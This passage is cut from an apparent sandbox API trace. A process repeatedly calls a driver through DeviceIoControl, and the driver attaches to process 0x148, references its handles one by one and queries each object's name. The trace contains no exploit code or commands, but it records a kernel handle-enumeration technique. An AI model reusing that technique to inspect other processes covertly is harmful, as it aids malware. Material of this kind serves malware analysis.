lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.693] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.693] PsAcquireProcessExitSynchronization () returned 0x0 [0092.693] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.693] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0092.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.693] PsReleaseProcessExitSynchronization () returned 0x2 [0092.693] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.693] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.693] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0092.693] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.693] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.694] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.694] PsAcquireProcessExitSynchronization () returned 0x0 [0092.694] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.694] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0092.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.694] PsReleaseProcessExitSynchronization () returned 0x2 [0092.694] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.694] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.694] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0092.694] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.694] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.694] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.694] PsAcquireProcessExitSynchronization () returned 0x0 [0092.694] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.694] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a008972bc0, HandleInformation=0x0) returned 0x0 [0092.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.694] PsReleaseProcessExitSynchronization () returned 0x2 [0092.694] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.694] ObQueryNameString (in: Object=0xfffff8a008972bc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.694] ObfDereferenceObject (Object=0xfffff8a008972bc0) returned 0x1 [0092.694] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.694] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.694] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.694] PsAcquireProcessExitSynchronization () returned 0x0 [0092.694] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.694] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001bf7530, HandleInformation=0x0) returned 0x0 [0092.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.694] PsReleaseProcessExitSynchronization () returned 0x2 [0092.695] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.695] ObQueryNameString (in: Object=0xfffff8a001bf7530, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.695] ObfDereferenceObject (Object=0xfffff8a001bf7530) returned 0x1 [0092.695] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.695] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.695] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.695] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.695] PsAcquireProcessExitSynchronization () returned 0x0 [0092.695] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.695] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0092.695] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.695] PsReleaseProcessExitSynchronization () returned 0x2 [0092.695] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.695] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.695] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0092.695] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.695] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.695] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.695] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.695] PsAcquireProcessExitSynchronization () returned 0x0 [0092.695] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.695] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0092.695] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.695] PsReleaseProcessExitSynchronization () returned 0x2 [0092.695] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.695] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.695] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0092.695] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.695] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.696] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.696] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.696] PsAcquireProcessExitSynchronization () returned 0x0 [0092.696] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.696] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0092.696] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.696] PsReleaseProcessExitSynchronization () returned 0x2 [0092.696] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.696] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.696] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0092.696] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.696] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.696] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.696] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.696] PsAcquireProcessExitSynchronization () returned 0x0 [0092.696] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.696] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0092.696] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.696] PsReleaseProcessExitSynchronization () returned 0x2 [0092.696] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.696] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.696] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0092.696] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.696] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.696] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.696] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.696] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.697] PsAcquireProcessExitSynchronization () returned 0x0 [0092.697] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.697] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0092.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.697] PsReleaseProcessExitSynchronization () returned 0x2 [0092.697] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.697] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.697] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0092.697] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.697] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.697] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.697] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.697] PsAcquireProcessExitSynchronization () returned 0x0 [0092.697] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.697] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0092.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.697] PsReleaseProcessExitSynchronization () returned 0x2 [0092.697] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.697] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.697] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0092.697] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.697] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.697] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.697] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.697] PsAcquireProcessExitSynchronization () returned 0x0 [0092.697] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.697] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0092.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.697] PsReleaseProcessExitSynchronization () returned 0x2 [0092.697] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.698] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.698] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0092.698] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.698] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.698] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.698] PsAcquireProcessExitSynchronization () returned 0x0 [0092.698] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.698] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0092.698] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.698] PsReleaseProcessExitSynchronization () returned 0x2 [0092.698] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.698] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.698] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0092.698] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.698] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.698] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.698] PsAcquireProcessExitSynchronization () returned 0x0 [0092.698] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.698] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0092.698] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.698] PsReleaseProcessExitSynchronization () returned 0x2 [0092.698] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.698] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa8002023044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002023044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.698] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0092.698] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.698] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.698] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.698] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.698] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.698] PsAcquireProcessExitSynchronization () returned 0x0 [0092.698] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.699] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0092.699] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.699] PsReleaseProcessExitSynchronization () returned 0x2 [0092.699] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.699] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.699] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0092.699] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.699] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.699] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.699] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.699] PsAcquireProcessExitSynchronization () returned 0x0 [0092.699] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.699] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0092.699] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.699] PsReleaseProcessExitSynchronization () returned 0x2 [0092.699] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.699] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.699] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0092.699] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.699] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.699] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.699] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.699] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.699] PsAcquireProcessExitSynchronization () returned 0x0 [0092.699] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.699] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0092.699] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) 